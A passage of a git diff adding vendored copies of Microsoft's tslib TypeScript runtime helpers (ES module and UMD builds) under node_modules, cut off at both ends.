? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); + function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } + function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } +} + +export function __makeTemplateObject(cooked, raw) { + if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } + return cooked; +}; + +var __setModuleDefault = Object.create ? (function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); +}) : function(o, v) { + o["default"] = v; +}; + +export function __importStar(mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + __setModuleDefault(result, mod); + return result; +} + +export function __importDefault(mod) { + return (mod && mod.__esModule) ? mod : { default: mod }; +} + +export function __classPrivateFieldGet(receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +} + +export function __classPrivateFieldSet(receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +} + +export function __classPrivateFieldIn(state, receiver) { + if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); + return typeof state === "function" ? receiver === state : state.has(receiver); +} + +export function __addDisposableResource(env, value, async) { + if (value !== null && value !== void 0) { + if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); + var dispose, inner; + if (async) { + if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); + dispose = value[Symbol.asyncDispose]; + } + if (dispose === void 0) { + if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); + dispose = value[Symbol.dispose]; + if (async) inner = dispose; + } + if (typeof dispose !== "function") throw new TypeError("Object not disposable."); + if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; + env.stack.push({ value: value, dispose: dispose, async: async }); + } + else if (async) { + env.stack.push({ async: true }); + } + return value; + +} + +var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { + var e = new Error(message); + return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; +}; + +export function __disposeResources(env) { + function fail(e) { + env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; + env.hasError = true; + } + var r, s = 0; + function next() { + while (r = env.stack.pop()) { + try { + if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); + if (r.dispose) { + var result = r.dispose.call(r.value); + if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); + } + else s |= 1; + } + catch (e) { + fail(e); + } + } + if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); + if (env.hasError) throw env.error; + } + return next(); +} + +export default { + __extends: __extends, + __assign: __assign, + __rest: __rest, + __decorate: __decorate, + __param: __param, + __metadata: __metadata, + __awaiter: __awaiter, + __generator: __generator, + __createBinding: __createBinding, + __exportStar: __exportStar, + __values: __values, + __read: __read, + __spread: __spread, + __spreadArrays: __spreadArrays, + __spreadArray: __spreadArray, + __await: __await, + __asyncGenerator: __asyncGenerator, + __asyncDelegator: __asyncDelegator, + __asyncValues: __asyncValues, + __makeTemplateObject: __makeTemplateObject, + __importStar: __importStar, + __importDefault: __importDefault, + __classPrivateFieldGet: __classPrivateFieldGet, + __classPrivateFieldSet: __classPrivateFieldSet, + __classPrivateFieldIn: __classPrivateFieldIn, + __addDisposableResource: __addDisposableResource, + __disposeResources: __disposeResources, +}; diff --git a/node_modules/tslib/tslib.es6.mjs b/node_modules/tslib/tslib.es6.mjs new file mode 100644 index 000000000000..17bb2ff8f2d6 --- /dev/null +++ b/node_modules/tslib/tslib.es6.mjs @@ -0,0 +1,378 @@ +/****************************************************************************** +Copyright (c) Microsoft Corporation. + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH +REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, +INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. +***************************************************************************** */ +/* global Reflect, Promise, SuppressedError, Symbol, Iterator */ + +var extendStatics = function(d, b) { + extendStatics = Object.setPrototypeOf || + ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || + function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; + return extendStatics(d, b); +}; + +export function __extends(d, b) { + if (typeof b !== "function" && b !== null) + throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); + extendStatics(d, b); + function __() { this.constructor = d; } + d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); +} + +export var __assign = function() { + __assign = Object.assign || function __assign(t) { + for (var s, i = 1, n = arguments.length; i < n; i++) { + s = arguments[i]; + for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; + } + return t; + } + return __assign.apply(this, arguments); +} + +export function __rest(s, e) { + var t = {}; + for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) + t[p] = s[p]; + if (s != null && typeof Object.getOwnPropertySymbols === "function") + for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { + if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) + t[p[i]] = s[p[i]]; + } + return t; +} + +export function __decorate(decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +} + +export function __param(paramIndex, decorator) { + return function (target, key) { decorator(target, key, paramIndex); } +} + +export function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { + function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } + var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; + var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; + var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); + var _, done = false; + for (var i = decorators.length - 1; i >= 0; i--) { + var context = {}; + for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; + for (var p in contextIn.access) context.access[p] = contextIn.access[p]; + context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; + var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); + if (kind === "accessor") { + if (result === void 0) continue; + if (result === null || typeof result !== "object") throw new TypeError("Object expected"); + if (_ = accept(result.get)) descriptor.get = _; + if (_ = accept(result.set)) descriptor.set = _; + if (_ = accept(result.init)) initializers.unshift(_); + } + else if (_ = accept(result)) { + if (kind === "field") initializers.unshift(_); + else descriptor[key] = _; + } + } + if (target) Object.defineProperty(target, contextIn.name, descriptor); + done = true; +}; + +export function __runInitializers(thisArg, initializers, value) { + var useValue = arguments.length > 2; + for (var i = 0; i < initializers.length; i++) { + value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); + } + return useValue ? value : void 0; +}; + +export function __propKey(x) { + return typeof x === "symbol" ? x : "".concat(x); +}; + +export function __setFunctionName(f, name, prefix) { + if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; + return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); +}; + +export function __metadata(metadataKey, metadataValue) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); +} + +export function __awaiter(thisArg, _arguments, P, generator) { + function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } + return new (P || (P = Promise))(function (resolve, reject) { + function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } + function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } + function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } + step((generator = generator.apply(thisArg, _arguments || [])).next()); + }); +} + +export function __generator(thisArg, body) { + var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); + return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; + function verb(n) { return function (v) { return step([n, v]); }; } + function step(op) { + if (f) throw new TypeError("Generator is already executing."); + while (g && (g = 0, op[0] && (_ = 0)), _) try { + if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; + if (y = 0, t) op = [op[0] & 2, t.value]; + switch (op[0]) { + case 0: case 1: t = op; break; + case 4: _.label++; return { value: op[1], done: false }; + case 5: _.label++; y = op[1]; op = [0]; continue; + case 7: op = _.ops.pop(); _.trys.pop(); continue; + default: + if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } + if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } + if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } + if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } + if (t[2]) _.ops.pop(); + _.trys.pop(); continue; + } + op = body.call(thisArg, _); + } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } + if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; + } +} + +export var __createBinding = Object.create ? (function(o, m, k, k2) { + if (k2 === undefined) k2 = k; + var desc = Object.getOwnPropertyDescriptor(m, k); + if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { + desc = { enumerable: true, get: function() { return m[k]; } }; + } + Object.defineProperty(o, k2, desc); +}) : (function(o, m, k, k2) { + if (k2 === undefined) k2 = k; + o[k2] = m[k]; +}); + +export function __exportStar(m, o) { + for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); +} + +export function __values(o) { + var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; + if (m) return m.call(o); + if (o && typeof o.length === "number") return { + next: function () { + if (o && i >= o.length) o = void 0; + return { value: o && o[i++], done: !o }; + } + }; + throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); +} + +export function __read(o, n) { + var m = typeof Symbol === "function" && o[Symbol.iterator]; + if (!m) return o; + var i = m.call(o), r, ar = [], e; + try { + while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); + } + catch (error) { e = { error: error }; } + finally { + try { + if (r && !r.done && (m = i["return"])) m.call(i); + } + finally { if (e) throw e.error; } + } + return ar; +} + +/** @deprecated */ +export function __spread() { + for (var ar = [], i = 0; i < arguments.length; i++) + ar = ar.concat(__read(arguments[i])); + return ar; +} + +/** @deprecated */ +export function __spreadArrays() { + for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; + for (var r = Array(s), k = 0, i = 0; i < il; i++) + for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) + r[k] = a[j]; + return r; +} + +export function __spreadArray(to, from, pack) { + if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { + if (ar || !(i in from)) { + if (!ar) ar = Array.prototype.slice.call(from, 0, i); + ar[i] = from[i]; + } + } + return to.concat(ar || Array.prototype.slice.call(from)); +} + +export function __await(v) { + return this instanceof __await ? (this.v = v, this) : new __await(v); +} + +export function __asyncGenerator(thisArg, _arguments, generator) { + if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); + var g = generator.apply(thisArg, _arguments || []), i, q = []; + return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; + function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } + function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } + function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } + function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } + function fulfill(value) { resume("next", value); } + function reject(value) { resume("throw", value); } + function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } +} + +export function __asyncDelegator(o) { + var i, p; + return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; + function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } +} + +export function __asyncValues(o) { + if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); + var m = o[Symbol.asyncIterator], i; + return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); + function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } + function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } +} + +export function __makeTemplateObject(cooked, raw) { + if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } + return cooked; +}; + +var __setModuleDefault = Object.create ? (function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); +}) : function(o, v) { + o["default"] = v; +}; + +export function __importStar(mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + __setModuleDefault(result, mod); + return result; +} + +export function __importDefault(mod) { + return (mod && mod.__esModule) ? mod : { default: mod }; +} + +export function __classPrivateFieldGet(receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +} + +export function __classPrivateFieldSet(receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +} + +export function __classPrivateFieldIn(state, receiver) { + if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); + return typeof state === "function" ? receiver === state : state.has(receiver); +} + +export function __addDisposableResource(env, value, async) { + if (value !== null && value !== void 0) { + if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); + var dispose, inner; + if (async) { + if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); + dispose = value[Symbol.asyncDispose]; + } + if (dispose === void 0) { + if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); + dispose = value[Symbol.dispose]; + if (async) inner = dispose; + } + if (typeof dispose !== "function") throw new TypeError("Object not disposable."); + if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; + env.stack.push({ value: value, dispose: dispose, async: async }); + } + else if (async) { + env.stack.push({ async: true }); + } + return value; +} + +var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { + var e = new Error(message); + return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; +}; + +export function __disposeResources(env) { + function fail(e) { + env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; + env.hasError = true; + } + var r, s = 0; + function next() { + while (r = env.stack.pop()) { + try { + if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); + if (r.dispose) { + var result = r.dispose.call(r.value); + if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); + } + else s |= 1; + } + catch (e) { + fail(e); + } + } + if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); + if (env.hasError) throw env.error; + } + return next(); +} + +export default { + __extends, + __assign, + __rest, + __decorate, + __param, + __metadata, + __awaiter, + __generator, + __createBinding, + __exportStar, + __values, + __read, + __spread, + __spreadArrays, + __spreadArray, + __await, + __asyncGenerator, + __asyncDelegator, + __asyncValues, + __makeTemplateObject, + __importStar, + __importDefault, + __classPrivateFieldGet, + __classPrivateFieldSet, + __classPrivateFieldIn, + __addDisposableResource, + __disposeResources, +}; diff --git a/node_modules/tslib/tslib.html b/node_modules/tslib/tslib.html new file mode 100644 index 000000000000..44c9ba51e354 --- /dev/null +++ b/node_modules/tslib/tslib.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/node_modules/tslib/tslib.js b/node_modules/tslib/tslib.js new file mode 100644 index 000000000000..429c11a66b48 --- /dev/null +++ b/node_modules/tslib/tslib.js @@ -0,0 +1,429 @@ +/****************************************************************************** +Copyright (c) Microsoft Corporation. + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH +REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, +INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. +***************************************************************************** */ +/* global global, define, Symbol, Reflect, Promise, SuppressedError, Iterator */ +var __extends; +var __assign; +var __rest; +var __decorate; +var __param; +var __esDecorate; +var __runInitializers; +var __propKey; +var __setFunctionName; +var __metadata; +var __awaiter; +var __generator; +var __exportStar; +var __values; +var __read; +var __spread; +var __spreadArrays; +var __spreadArray; +var __await; +var __asyncGenerator; +var __asyncDelegator; +var __asyncValues; +var __makeTemplateObject; +var __importStar; +var __importDefault; +var __classPrivateFieldGet; +var __classPrivateFieldSet; +var __classPrivateFieldIn; +var __createBinding; +var __addDisposableResource; +var __disposeResources; +(function (factory) { + var root = typeof global === "object" ? global : typeof self === "object" ? self : typeof this === "object" ? this : {}; + if (typeof define === "function" && define.amd) { + define("tslib", ["exports"], function (exports) { factory(createExporter(root, createExporter(exports))); }); + } + else if (typeof module === "object" && typeof module.exports === "object") { + factory(createExporter(root, createExporter(module.exports))); + } + else { + factory(createExporter(root)); + } + function createExporter(exports, previous) { + if (exports !== root) { + if (typeof Object.create === "function") { + Object.defineProperty(exports, "__esModule", { value: true }); + } + else { + exports.__esModule = true; + } + } + return function (id, v) { return exports[id] = previous ? previous(id, v) : v; }; + } +}) +(function (exporter) { + var extendStatics = Object.setPrototypeOf || + ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || + function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; + + __extends = function (d, b) { + if (typeof b !== "function" && b !== null) + throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); + extendStatics(d, b); + function __() { this.constructor = d; } + d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); + }; + + __assign = Object.assign || function (t) { + for (var s, i = 1, n = arguments.length; i < n; i++) { + s = arguments[i]; + for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; + } + return t; + }; + + __rest = function (s, e) { + var t = {}; + for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) + t[p] = s[p]; + if (s != null && typeof Object.getOwnPropertySymbols === "function") + for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { + if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) + t[p[i]] = s[p[i]]; + } + return t; + }; + + __decorate = function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; + }; + + __param = function (paramIndex, decorator) { + return function (target, key) { decorator(target, key, paramIndex); } + }; + + __esDecorate = function (ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { + function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } + var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; + var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; + var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); + var _, done = false; + for (var i = decorators.length - 1; i >= 0; i--) { + var context = {}; + for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; + for (var p in contextIn.access) context.access[p] = contextIn.access[p]; + context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; + var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); + if (kind === "accessor") { + if (result === void 0) continue; + if (result === null || typeof result !== "object") throw new TypeError("Object expected"); + if (_ = accept(result.get)) descriptor.get = _; + if (_ = accept(result.set)) descriptor.set = _; + if (_ = accept(result.init)) initializers.unshift(_); + } + else if (_ = accept(result)) { + if (kind === "field") initializers.unshift(_); + else descriptor[key] = _; + } + } + if (target) Object.defineProperty(target, contextIn.name, descriptor); + done = true; + }; + + __runInitializers = function (thisArg, initializers, value) { + var useValue = arguments.length > 2; + for (var i = 0; i < initializers.length; i++) { + value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); + } + return useValue ? value : void 0; + }; + + __propKey = function (x) { + return typeof x === "symbol" ? x : "".concat(x); + }; + + __setFunctionName = function (f, name, prefix) { + if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; + return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); + }; + + __metadata = function (metadataKey, metadataValue) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); + }; + + __awaiter = function (thisArg, _arguments, P, generator) { + function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } + return new (P || (P = Promise))(function (resolve, reject) { + function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } + function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } + function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } + step((generator = generator.apply(thisArg, _arguments || [])).next()); + }); + }; + + __generator = function (thisArg, body) { + var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); + return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; + function verb(n) { return function (v) { return step([n, v]); }; } + function step(op) { + if (f) throw new TypeError("Generator is already executing."); + while (g && (g = 0, op[0] && (_ = 0)), _) try { + if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; + if (y = 0, t) op = [op[0] & 2, t.value]; + switch (op[0]) { + case 0: case 1: t = op; break; + case 4: _.label++; return { value: op[1], done: false }; + case 5: _.label++; y = op[1]; op = [0]; continue; + case 7: op = _.ops.pop(); _.trys.pop(); continue; + default: + if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } + if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } + if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } + if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } + if (t[2]) _.ops.pop(); + _.trys.pop(); continue; + } + op = body.call(thisArg, _); + } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } + if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; + } + }; + + __exportStar = function(m, o) { + for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); + }; + + __createBinding = Object.create ? (function(o, m, k, k2) { + if (k2 === undefined) k2 = k; + var desc = Object.getOwnPropertyDescriptor(m, k); + if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { + desc = { enumerable: true, get: function() { return m[k]; } }; + } + Object.defineProperty(o, k2, desc); + }) : (function(o, m, k, k2) { + if (k2 === undefined) k2 = k; + o[k2] = m[k]; + }); + + __values = function (o) { + var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; + if (m) return m.call(o); + if (o && typeof o.length === "number") return { + next: function () { + if (o && i >= o.length) o = void 0; + return { value: o && o[i++], done: !o }; + } + }; + throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); + }; + + __read = function (o, n) { + var m = typeof Symbol === "function" && o[Symbol.iterator]; + if (!m) return o; + var i = m.call(o), r, ar = [], e; + try { + while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); + } + catch (error) { e = { error: error }; } + finally { + try { + if (r && !r.done && (m = i["return"])) m.call(i); + } + finally { if (e) throw e.error; } + } + return ar; + }; + + /** @deprecated */ + __spread = function () { + for (var ar = [], i = 0; i < arguments.length; i++) + ar = ar.concat(__read(arguments[i])); + return ar; + }; + + /** @deprecated */ + __spreadArrays = function () { + for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; + for (var r = Array(s), k = 0, i = 0; i < il; i++) + for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) + r[k] = a[j]; + return r; + }; + + __spreadArray = function (to, from, pack) { + if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { + if (ar || !(i in from)) { + if (!ar) ar = Array.prototype.slice.call(from, 0, i); + ar[i] = from[i]; + } + } + return to.concat(ar || Array.prototype.slice.call(from)); + }; + + __await = function (v) { + return this instanceof __await ? (this.v = v, this) : new __await(v); + }; + + __asyncGenerator = function (thisArg, _arguments, generator) { + if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); + var g = generator.apply(thisArg, _arguments || []), i, q = []; + return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; + function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } + function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } + function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } + function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } + function fulfill(value) { resume("next", value); } + function reject(value) { resume("throw", value); } + function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } + }; + + __asyncDelegator = function (o) { + var i, p; + return i = {}, verb("next"), verb("throw", function (e) { throw 